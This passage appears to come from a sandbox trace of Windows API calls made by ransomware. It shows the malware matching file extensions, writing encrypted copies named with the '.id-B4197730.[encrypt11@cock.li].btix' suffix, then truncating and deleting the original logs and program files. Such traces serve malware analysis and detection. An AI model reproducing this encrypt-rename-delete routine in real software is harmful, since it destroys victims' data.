(lpString1=".xls", lpString2="evtx") returned -1 [0052.438] lstrlenW (lpString=".xlsx") returned 5 [0052.438] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.438] lstrlenW (lpString=".ppt") returned 4 [0052.438] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.438] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0052.439] lstrlenW (lpString=".zip") returned 4 [0052.439] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.439] lstrlenW (lpString=".rar") returned 4 [0052.439] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.439] lstrlenW (lpString=".bz2") returned 4 [0052.439] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.439] lstrlenW (lpString=".7z") returned 3 [0052.439] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0052.439] lstrlenW (lpString=".dbf") returned 4 [0052.439] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0052.439] lstrlenW (lpString=".1cd") returned 4 [0052.439] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0052.439] lstrlenW (lpString=".jpg") returned 4 [0052.439] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.439] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0052.439] lstrlenW (lpString="Microsoft-Windows-Winlogon%4Operational.evtx") returned 44 [0052.439] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.439] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0052.439] CloseHandle (hObject=0x31c) returned 1 [0052.440] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20 [0052.440] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.440] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.440] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.440] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.440] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0052.440] GetLastError () returned 0x0 [0052.440] ReadFile (in: hFile=0x31c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0052.542] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0052.543] ReadFile (in: hFile=0x31c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.543] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x12c, lpOverlapped=0x0) returned 1 [0052.543] SetEndOfFile (hFile=0x2e0) returned 1 [0052.544] CloseHandle (hObject=0x2e0) returned 1 [0052.545] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.545] SetEndOfFile (hFile=0x31c) returned 1 [0052.547] CloseHandle (hObject=0x31c) returned 1 [0052.547] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.547] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 1 [0052.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0052.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0052.547] lstrlenW (lpString=".doc") returned 4 [0052.547] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.547] lstrlenW (lpString=".docx") returned 5 [0052.547] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.547] lstrlenW (lpString=".pdf") returned 4 [0052.547] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.548] lstrlenW (lpString=".xls") returned 4 [0052.548] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.548] lstrlenW (lpString=".xlsx") returned 5 [0052.548] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.548] lstrlenW (lpString=".ppt") returned 4 [0052.548] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0052.548] lstrlenW (lpString=".zip") returned 4 [0052.548] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.548] lstrlenW (lpString=".rar") returned 4 [0052.548] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.548] lstrlenW (lpString=".bz2") returned 4 [0052.548] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.548] lstrlenW (lpString=".7z") returned 3 [0052.548] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0052.548] lstrlenW (lpString=".dbf") returned 4 [0052.548] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0052.548] lstrlenW (lpString=".1cd") returned 4 [0052.548] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0052.548] lstrlenW (lpString=".jpg") returned 4 [0052.548] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0052.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0052.549] lstrlenW (lpString=".doc") returned 4 [0052.549] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.549] lstrlenW (lpString=".docx") returned 5 [0052.549] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.549] lstrlenW (lpString=".pdf") returned 4 [0052.549] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.549] lstrlenW (lpString=".xls") returned 4 [0052.549] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.549] lstrlenW (lpString=".xlsx") returned 5 [0052.549] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.549] lstrlenW (lpString=".ppt") returned 4 [0052.549] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.549] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0052.549] lstrlenW (lpString=".zip") returned 4 [0052.549] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.549] lstrlenW (lpString=".rar") returned 4 [0052.549] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.549] lstrlenW (lpString=".bz2") returned 4 [0052.549] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.549] lstrlenW (lpString=".7z") returned 3 [0052.549] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.549] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0052.549] lstrlenW (lpString=".dbf") returned 4 [0052.549] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.549] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0052.549] lstrlenW (lpString=".1cd") returned 4 [0052.549] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.549] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0052.549] lstrlenW (lpString=".jpg") returned 4 [0052.550] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.550] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0052.550] lstrlenW (lpString="Security.evtx") returned 13 [0052.550] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.550] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=1118208) returned 1 [0052.550] CloseHandle (hObject=0x31c) returned 1 [0052.550] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20 [0052.550] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\security.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.550] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.550] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.550] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.551] CreateFileW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\security.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0052.551] GetLastError () returned 0x0 [0052.551] ReadFile (in: hFile=0x31c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0052.628] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0052.642] ReadFile (in: hFile=0x31c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11010, lpOverlapped=0x0) returned 1 [0052.848] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11020, lpOverlapped=0x0) returned 1 [0052.852] ReadFile (in: hFile=0x31c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.852] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xee, lpOverlapped=0x0) returned 1 [0052.852] SetEndOfFile (hFile=0x2e0) returned 1 [0052.852] CloseHandle (hObject=0x2e0) returned 1 [0052.870] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.870] SetEndOfFile (hFile=0x31c) returned 1 [0052.871] CloseHandle (hObject=0x31c) returned 1 [0052.871] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.871] DeleteFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 1 [0052.871] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0052.871] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0052.871] lstrlenW (lpString=".doc") returned 4 [0052.871] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.872] lstrlenW (lpString=".docx") returned 5 [0052.872] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.872] lstrlenW (lpString=".pdf") returned 4 [0052.872] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.872] lstrlenW (lpString=".xls") returned 4 [0052.872] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.872] lstrlenW (lpString=".xlsx") returned 5 [0052.872] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.872] lstrlenW (lpString=".ppt") returned 4 [0052.872] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.872] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0052.872] lstrlenW (lpString=".zip") returned 4 [0052.872] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.872] lstrlenW (lpString=".rar") returned 4 [0052.872] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.872] lstrlenW (lpString=".bz2") returned 4 [0052.872] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.872] lstrlenW (lpString=".7z") returned 3 [0052.872] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.872] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0052.872] lstrlenW (lpString=".dbf") returned 4 [0052.872] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.872] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0052.872] lstrlenW (lpString=".1cd") returned 4 [0052.872] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.872] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0052.872] lstrlenW (lpString=".jpg") returned 4 [0052.872] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.872] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0052.872] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0052.872] lstrlenW (lpString=".doc") returned 4 [0052.872] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.872] lstrlenW (lpString=".docx") returned 5 [0052.872] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.872] lstrlenW (lpString=".pdf") returned 4 [0052.873] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.873] lstrlenW (lpString=".xls") returned 4 [0052.873] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.873] lstrlenW (lpString=".xlsx") returned 5 [0052.873] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.873] lstrlenW (lpString=".ppt") returned 4 [0052.873] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.873] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0052.873] lstrlenW (lpString=".zip") returned 4 [0052.873] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.873] lstrlenW (lpString=".rar") returned 4 [0052.873] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.873] lstrlenW (lpString=".bz2") returned 4 [0052.873] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.873] lstrlenW (lpString=".7z") returned 3 [0052.873] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.873] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0052.873] lstrlenW (lpString=".dbf") returned 4 [0052.873] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.873] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0052.873] lstrlenW (lpString=".1cd") returned 4 [0052.873] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.873] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0052.873] lstrlenW (lpString=".jpg") returned 4 [0052.873] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.873] lstrcmpiW (lpString1=".sys", lpString2=".btix") returned 1 [0052.873] lstrlenW (lpString="pagefile.sys") returned 12 [0052.873] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.873] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.873] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.873] lstrlenW (lpString=".doc") returned 4 [0052.874] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0052.874] lstrlenW (lpString=".docx") returned 5 [0052.874] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0052.874] lstrlenW (lpString=".pdf") returned 4 [0052.874] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0052.874] lstrlenW (lpString=".xls") returned 4 [0052.874] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0052.874] lstrlenW (lpString=".xlsx") returned 5 [0052.874] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0052.874] lstrlenW (lpString=".ppt") returned 4 [0052.874] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0052.874] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.874] lstrlenW (lpString=".zip") returned 4 [0052.874] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0052.874] lstrlenW (lpString=".rar") returned 4 [0052.874] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0052.874] lstrlenW (lpString=".bz2") returned 4 [0052.874] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0052.874] lstrlenW (lpString=".7z") returned 3 [0052.874] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0052.874] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.874] lstrlenW (lpString=".dbf") returned 4 [0052.874] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0052.874] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.874] lstrlenW (lpString=".1cd") returned 4 [0052.874] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0052.874] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.874] lstrlenW (lpString=".jpg") returned 4 [0052.874] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0052.874] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.874] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.874] lstrlenW (lpString=".doc") returned 4 [0052.874] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0052.874] lstrlenW (lpString=".docx") returned 5 [0052.874] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0052.875] lstrlenW (lpString=".pdf") returned 4 [0052.875] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0052.875] lstrlenW (lpString=".xls") returned 4 [0052.875] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0052.875] lstrlenW (lpString=".xlsx") returned 5 [0052.875] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0052.875] lstrlenW (lpString=".ppt") returned 4 [0052.875] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0052.875] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.875] lstrlenW (lpString=".zip") returned 4 [0052.875] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0052.875] lstrlenW (lpString=".rar") returned 4 [0052.875] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0052.875] lstrlenW (lpString=".bz2") returned 4 [0052.875] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0052.875] lstrlenW (lpString=".7z") returned 3 [0052.875] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0052.875] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.875] lstrlenW (lpString=".dbf") returned 4 [0052.875] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0052.875] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.875] lstrlenW (lpString=".1cd") returned 4 [0052.875] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0052.875] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.875] lstrlenW (lpString=".jpg") returned 4 [0052.875] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0052.875] lstrcmpiW (lpString1=".OLB", lpString2=".btix") returned 1 [0052.875] lstrlenW (lpString="MSADDNDR.OLB") returned 12 [0052.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.520] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=15984) returned 1 [0054.520] CloseHandle (hObject=0x31c) returned 1 [0054.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20 [0054.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0054.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.521] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.521] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0054.808] GetLastError () returned 0x0 [0054.808] ReadFile (in: hFile=0x31c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x3e70, lpOverlapped=0x0) returned 1 [0054.841] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x3e80, lpOverlapped=0x0) returned 1 [0054.843] ReadFile (in: hFile=0x31c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.843] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0054.843] SetEndOfFile (hFile=0x2e0) returned 1 [0054.843] CloseHandle (hObject=0x2e0) returned 1 [0054.844] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.844] SetEndOfFile (hFile=0x31c) returned 1 [0054.845] CloseHandle (hObject=0x31c) returned 1 [0054.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0054.845] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1 [0054.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0054.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0054.845] lstrlenW (lpString=".doc") returned 4 [0054.845] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0054.845] lstrlenW (lpString=".docx") returned 5 [0054.845] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0054.846] lstrlenW (lpString=".pdf") returned 4 [0054.846] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0054.846] lstrlenW (lpString=".xls") returned 4 [0054.846] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0054.846] lstrlenW (lpString=".xlsx") returned 5 [0054.846] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0054.846] lstrlenW (lpString=".ppt") returned 4 [0054.846] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0054.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0054.846] lstrlenW (lpString=".zip") returned 4 [0054.846] 